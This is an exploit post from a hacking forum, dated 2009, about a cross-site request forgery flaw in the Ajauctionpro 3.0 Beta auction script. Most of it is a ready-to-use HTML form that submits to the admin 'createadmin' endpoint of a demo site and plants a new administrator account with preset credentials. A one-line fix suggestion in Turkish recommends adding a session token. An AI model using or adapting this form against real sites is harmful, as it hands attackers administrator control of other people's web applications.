Ajauctionpro V3.0 Beta ~ CSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Ajauctionpro V3.0 Beta ~ CSRF Vuln.

Madde
	Author : Bug Researchers/F0RTYS3V3N
	Date : 13.09.2009 20:04:27
	# Ajauctionpro V3.0 Beta ~ CSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # author : F0RTYS3V3N # Script Name : Ajauctionpro Version 3.0 Beta # Demo : http://ajdemos.com/demo/ajauctionpro/oopdv3/ # Demo Admin Panel : http://ajdemos.com/demo/ajauctionpro/oopdv3/admin/adminindex.php?do=slogin # Bug Type : XSRF / CSRF # Infection : Yeni bir admin kullanicisi eklenebilir. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmelidir. # Note : Demo yetkisi kisitli oldugundan dolayi yanilabilirsiniz Scripti çekip denemeniz önerilir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form name=sitesettings action=http://ajdemos.com/demo/ajauctionpro/oopdv3/admin/adminindex.php?do=createadmin method=post enctype=multipart/form-data> <input type=text name=username id=username value=admin/> <input type=password name=password id=password value=F0RTYS3V3N /> <input type=password name=retypepassword id=retypepassword value=F0RTYS3V3N /> <input type=text name=emailid id=emailid size=35px value=emailindegisti@vciddiyim.com /> <input type=image onmouseout=MM_swapImgRestore() onmouseover=MM_swapImage(’save’,’’,’images/save_bttn_hov.gif’,1) title=Click to save your changes src = images/save_bttn.gif alt=Save name=save width=79 height=24 border=0 id=save /> <input name= type=checkbox value= /> </form> < -- bug code end of -- >